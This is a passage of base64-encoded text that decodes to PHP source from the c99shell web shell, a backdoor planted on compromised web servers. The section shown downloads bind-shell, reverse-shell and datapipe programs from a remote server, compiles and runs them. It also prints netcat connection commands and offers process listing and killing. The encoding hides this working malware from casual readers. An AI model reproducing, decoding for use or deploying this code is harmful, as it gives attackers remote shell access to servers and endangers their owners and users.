ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgfQogIGVjaG8gIjxzZWxlY3QgbmFtZT1hY3Q+PG9wdGlvbiB2YWx1ZT1cIiIuJGFjdC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOwogIGVjaG8gIjxvcHRpb24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+Q2hhbmdlLW1vZGU8L29wdGlvbj4iOwogIGlmICgkdXNlZnNidWZmKQogIHsKICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jdXQiLigkZHNwYWN0ID09ICJjdXQiPyIgc2VsZWN0ZWQiOiIiKS4iPkN1dDwvb3B0aW9uPiI7CiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPkNvcHk8L29wdGlvbj4iOwogICBlY2hvICI8b3B0aW9uIHZhbHVlPXVuc2VsZWN0Ii4oJGRzcGFjdCA9PSAidW5zZWxlY3QiPyIgc2VsZWN0ZWQiOiIiKS4iPlVuc2VsZWN0PC9vcHRpb24+IjsKICB9CiAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiQ29uZmlybVwiPjwvcD4iOwogIGVjaG8gIjwvZm9ybT4iOwogfQp9CmlmICgkYWN0ID09ICJ0b29scyIpCnsKICRibmRwb3J0c3JjcyA9IGFycmF5KAogICJjOTlzaF9iaW5kcG9ydC5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlcG9ydCIpLAogICJjOTlzaF9iaW5kcG9ydC5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlcG9ydCAlcGFzcyIpCiApOwogJGJjc3JjcyA9IGFycmF5KAogICJjOTlzaF9iYWNrY29ubi5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlaG9zdCAlcG9ydCIpLAogICJjOTlzaF9iYWNrY29ubi5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlaG9zdCAlcG9ydCIpCiApOwogJGRwc3JjcyA9IGFycmF5KAogICJjOTlzaF9kYXRhcGlwZS5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlbG9jYWxwb3J0ICVyZW1vdGVob3N0ICVyZW1vdGVwb3J0IiksCiAgImM5OXNoX2RhdGFwaXBlLmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVsb2NhbHBvcnQgJXJlbW90ZXBvcnQgJXJlbW90ZWhvc3QiKQogKTsKIGlmICghaXNfYXJyYXkoJGJpbmQpKSB7JGJpbmQgPSBhcnJheSgpO30KIGlmICghaXNfYXJyYXkoJGJjKSkgeyRiYyA9IGFycmF5KCk7fQogaWYgKCFpc19hcnJheSgkZGF0YXBpcGUpKSB7JGRhdGFwaXBlID0gYXJyYXkoKTt9CiAKIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9CiBpZiAoZW1wdHkoJGJpbmRbInBhc3MiXSkpIHskYmluZFsicGFzcyJdID0gJGJpbmRwb3J0X3Bhc3M7fQogIAogaWYgKGVtcHR5KCRiY1siaG9zdCJdKSkgeyRiY1siaG9zdCJdID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpO30KIGlmICghaXNfbnVtZXJpYygkYmNbInBvcnQiXSkpIHskYmNbInBvcnQiXSA9ICRiY19wb3J0O30KIAogaWYgKGVtcHR5KCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKSkgeyRkYXRhcGlwZVsicmVtb3RlYWRkciJdID0gImlyYy5kYWxuZXQucnU6NjY2NyI7fQogaWYgKCFpc19udW1lcmljKCRkYXRhcGlwZVsibG9jYWxwb3J0Il0pKSB7JGRhdGFwaXBlWyJsb2NhbHBvcnQiXSA9ICRkYXRhcGlwZV9sb2NhbHBvcnQ7fQogaWYgKCFlbXB0eSgkYmluZHN1Ym1pdCkpCiB7CiAgZWNobyAiPGI+UmVzdWx0IG9mIGJpbmRpbmcgcG9ydDo8L2I+PGJyPiI7CiAgJHYgPSAkYm5kcG9ydHNyY3NbJGJpbmRbInNyYyJdXTsKICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30KICBlbHNlaWYgKGZzb2Nrb3BlbihnZXRlbnYoIlNFUlZFUl9BRERSIiksJGJpbmRbInBvcnQiXSwkZXJybm8sJGVycnN0ciwwLjEpKSB7ZWNobyAiUG9ydCBhbHJlZHkgaW4gdXNlLCBzZWxlY3QgYW55IG90aGVyITxicj4iO30KICBlbHNlCiAgewogICAkdyA9IGV4cGxvZGUoIi4iLCRiaW5kWyJzcmMiXSk7CiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07CiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7CiAgICRzcmNwYXRoID0gam9pbigiLiIsJHcpLiIuIi5yYW5kKDAsOTk5KS4iLiIuJGV4dDsKICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsKICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQogICBAdW5saW5rKCRzcmNwYXRoKTsKICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOwogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9CiAgIGVsc2VpZiAoISRkYXRhID0gYzk5Z2V0c291cmNlKCRiaW5kWyJzcmMiXSkpIHtlY2hvICJDYW4ndCBkb3dubG9hZCBzb3VyY2VzISI7fQogICBlbHNlCiAgIHsKICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7CiAgICBmY2xvc2UoJGZwKTsKICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgIEB1bmxpbmsoJHNyY3BhdGgpO30KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcG9ydCIsJGJpbmRbInBvcnQiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGFzcyIsJGJpbmRbInBhc3MiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsKICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0uIiA+IC9kZXYvbnVsbCAmIik7CiAgICBzbGVlcCg1KTsKICAgICRzb2NrID0gZnNvY2tvcGVuKCJsb2NhbGhvc3QiLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsNSk7CiAgICBpZiAoISRzb2NrKSB7ZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRiaW5kWyJwb3J0Il0uIiEgSSB0aGluayB5b3Ugc2hvdWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQogICAgZWxzZSB7ZWNobyAiQmluZGluZy4uLiBvayEgQ29ubmVjdCB0byA8Yj4iLmdldGVudigiU0VSVkVSX0FERFIiKS4iOiIuJGJpbmRbInBvcnQiXS4iPC9iPiEgWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gXCI8Yj5uYyAtdiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICIuJGJpbmRbInBvcnQiXS4iPC9iPlwiITxjZW50ZXI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1wcm9jZXNzZXMmZ3JlcD0iLmJhc2VuYW1lKCRiaW5wYXRoKS4iXCI+PHU+VmlldyBiaW5kZXIncyBwcm9jZXNzPC91PjwvYT48L2NlbnRlcj4iO30KICAgfQogICBlY2hvICI8YnI+IjsKICB9CiB9CiBpZiAoIWVtcHR5KCRiY3N1Ym1pdCkpCiB7CiAgZWNobyAiPGI+UmVzdWx0IG9mIGJhY2sgY29ubmVjdGlvbjo8L2I+PGJyPiI7CiAgJHYgPSAkYmNzcmNzWyRiY1sic3JjIl1dOwogIGlmIChlbXB0eSgkdikpIHtlY2hvICJVbmtub3duIGZpbGUhPGJyPiI7fQogIGVsc2UKICB7CiAgICR3ID0gZXhwbG9kZSgiLiIsJGJjWyJzcmMiXSk7CiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07CiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7CiAgICRzcmNwYXRoID0gam9pbigiLiIsJHcpLiIuIi5yYW5kKDAsOTk5KS4iLiIuJGV4dDsKICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsKICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQogICBAdW5saW5rKCRzcmNwYXRoKTsKICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOwogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9CiAgIGVsc2VpZiAoISRkYXRhID0gYzk5Z2V0c291cmNlKCRiY1sic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiO30KICAgZWxzZQogICB7CiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOwogICAgZmNsb3NlKCRmcCk7CiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7IEB1bmxpbmsoJHNyY3BhdGgpO30KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlaG9zdCIsJGJjWyJob3N0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBvcnQiLCRiY1sicG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsKICAgIGVjaG8gIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi5odG1sc3BlY2lhbGNoYXJzKCRiY1siaG9zdCJdKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSkuIi4uLjxicj4iOwogICB9CiAgfQogfQogaWYgKCFlbXB0eSgkZHBzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBkYXRhcGlwZS1ydW5uaW5nOjwvYj48YnI+IjsKICAkdiA9ICRkcHNyY3NbJGRhdGFwaXBlWyJzcmMiXV07CiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRkYXRhcGlwZVsicG9ydCJdLCRlcnJubywkZXJyc3RyLDAuMSkpIHtlY2hvICJQb3J0IGFscmVkeSBpbiB1c2UsIHNlbGVjdCBhbnkgb3RoZXIhPGJyPiI7fQogIGVsc2UKICB7CiAgICRzcmNwYXRoID0gJHRtcGRpci4kZGF0YXBpcGVbInNyYyJdOwogICAkdyA9IGV4cGxvZGUoIi4iLCRkYXRhcGlwZVsic3JjIl0pOwogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOwogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7CiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30KICAgQHVubGluaygkc3JjcGF0aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OWdldHNvdXJjZSgkZGF0YXBpcGVbInNyYyJdKSkge2VjaG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9CiAgIGVsc2UKICAgewogICAgZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsKICAgIGZjbG9zZSgkZnApOwogICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9CiAgICBsaXN0KCRkYXRhcGlwZVsicmVtb3RlaG9zdCJdLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdKSA9IGV4cGxvZGUoIjoiLCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlbG9jYWxwb3J0IiwkZGF0YXBpcGVbImxvY2FscG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVyZW1vdGVob3N0IiwkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVtb3RlcG9ydCIsJGRhdGFwaXBlWyJyZW1vdGVwb3J0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7CiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOwogICAgc2xlZXAoNSk7CiAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkZGF0YXBpcGVbInBvcnQiXSwkZXJybm8sJGVycnN0ciw1KTsKICAgIGlmICghJHNvY2spIHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGRhdGFwaXBlWyJsb2NhbHBvcnQiXS4iISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9CiAgICBlbHNlIHtlY2hvICJSdW5uaW5nIGRhdGFwaXBlLi4uIG9rISBDb25uZWN0IHRvIDxiPiIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiI6Ii4kZGF0YXBpcGVbInBvcnQiXS4iLCBhbmQgeW91IHdpbGwgY29ubmVjdGVkIHRvICIuJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0uIjwvYj4hIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYgIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAiLiRiaW5kWyJwb3J0Il0uIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmdyZXA9Ii5iYXNlbmFtZSgkYmlucGF0aCkuIlwiPjx1PlZpZXcgZGF0YXBpcGUgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+Ijt9CiAgIH0KICAgZWNobyAiPGJyPiI7CiAgfQogfQogPz48Yj5CaW5kaW5nIHBvcnQ6PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPlBvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmluZFtwb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmluZFsicG9ydCJdKTsgPz4iPiZuYnNwO1Bhc3N3b3JkOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcGFzc10iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBhc3MiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJpbmRbc3JjXSI+PD9waHAKIGZvcmVhY2goJGJuZHBvcnRzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmluZFsic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQogPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1iaW5kc3VibWl0IHZhbHVlPSJCaW5kIj48L2Zvcm0+CjxiPkJhY2sgY29ubmVjdGlvbjo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1tob3N0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSk7ID8+Ij4mbmJzcDtQb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJjW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmNbc3JjXSI+PD9waHAKZm9yZWFjaCgkYmNzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmNbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1iY3N1Ym1pdCB2YWx1ZT0iQ29ubmVjdCI+PC9mb3JtPgpDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAiPGI+bmMgLWwgLW4gLXYgLXAgPD9waHAgZWNobyAkYmNfcG9ydDsgPz48L2I+IiE8YnI+PGJyPgo8Yj5EYXRhcGlwZTo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtyZW1vdGVhZGRyXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7ID8+Ij4mbmJzcDtMb2NhbCBwb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImRhdGFwaXBlW2xvY2FscG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImRhdGFwaXBlW3NyY10iPjw/cGhwCmZvcmVhY2goJGRwc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9Cj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9ZHBzdWJtaXQgdmFsdWU9IlJ1biI+PC9mb3JtPjxiPk5vdGU6PC9iPiBzb3VyY2VzIHdpbGwgYmUgZG93bmxvYWRlZCBmcm9tIHJlbW90ZSBzZXJ2ZXIuPD9waHAKfQppZiAoJGFjdCA9PSAicHJvY2Vzc2VzIikKewogZWNobyAiPGI+UHJvY2Vzc2VzOjwvYj48YnI+IjsKIGlmICghJHdpbikgeyRoYW5kbGVyID0gInBzIC1hdXgiLigkZ3JlcD8iIHwgZ3JlcCAnIi5hZGRzbGFzaGVzKCRncmVwKS4iJyI6IiIpO30KIGVsc2UgeyRoYW5kbGVyID0gInRhc2tsaXN0Ijt9CiAkcmV0ID0gbXlzaGVsbGV4ZWMoJGhhbmRsZXIpOwogaWYgKCEkcmV0KSB7ZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcIiIuJGhhbmRsZXIuIlwiISI7fQogZWxzZQogewogIGlmIChlbXB0eSgkcHJvY2Vzc2VzX3NvcnQpKSB7JHByb2Nlc3Nlc19zb3J0ID0gJHNvcnRfZGVmYXVsdDt9CiAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkcHJvY2Vzc2VzX3NvcnQpOwogIGlmICghaXNfbnVtZXJpYygkcGFyc2Vzb3J0WzBdKSkgeyRwYXJzZXNvcnRbMF0gPSAwO30KICAkayA9ICRwYXJzZXNvcnRbMF07CiAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30KICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgJHJldCA9IGh0bWxzcGVjaWFsY2hhcnMoJHJldCk7CiAgaWYgKCEkd2luKQogIHsKICAgaWYgKCRwaWQpCiAgIHsKICAgIGlmIChpc19udWxsKCRzaWcpKSB7JHNpZyA9IDk7fQogICAgZWNobyAiU2VuZGluZyBzaWduYWwgIi4kc2lnLiIgdG8gIyIuJHBpZC4iLi4uICI7CiAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiT0suIjt9CiAgICBlbHNlIHtlY2hvICJFUlJPUi4iO30KICAgfQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOwogICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7CiAgIHVuc2V0KCRzdGFja1swXSk7CiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKQogICB7CiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii4kaGVhZFskaV0uIjwvYj48L2E+Ijt9CiAgIH0KICAgJHByY3MgPSBhcnJheSgpOwogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpCiAgIHsKICAgIGlmICghZW1wdHkoJGxpbmUpKQp7CiBlY2hvICI8dHI+IjsKICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsKICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOwogICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7CiAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIoKSkgeyRsaW5lWzBdID0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxpbmVbMF0uIjwvZm9udD4iO30KICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7CiAgICAgJHByY3NbXSA9ICRsaW5lOwogICAgIGVjaG8gIjwvdHI+IjsKICAgIH0KICAgfQogIH0KICBlbHNlCiAgewogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiIiwiIiwkcmV0KTt9CiAgIHdoaWxlIChlcmVnKCIgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICIsIiIsJHJldCk7fQogICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7CiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7CiAgICRzdGFjayA9IGFycmF5X3ZhbHVlcygkc3RhY2spOwogICAkaGVhZCA9IGV4cGxvZGUoIiIsJHN0YWNrWzBdKTsKICAgJGhlYWRbMV0gPSBleHBsb2RlKCIgIiwkaGVhZFsxXSk7CiAgICRoZWFkWzFdID0gJGhlYWRbMV1bMF07CiAgICRzdGFjayA9IGFycmF5X3NsaWNlKCRzdGFjaywxKTsKICAgdW5zZXQoJGhlYWRbMl0pOwogICAkaGVhZCA9IGFycmF5X3ZhbHVlcygkaGVhZCk7CiAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgIGVsc2UgeyR5ID0gIjxhIGhyZWY9XCIiLi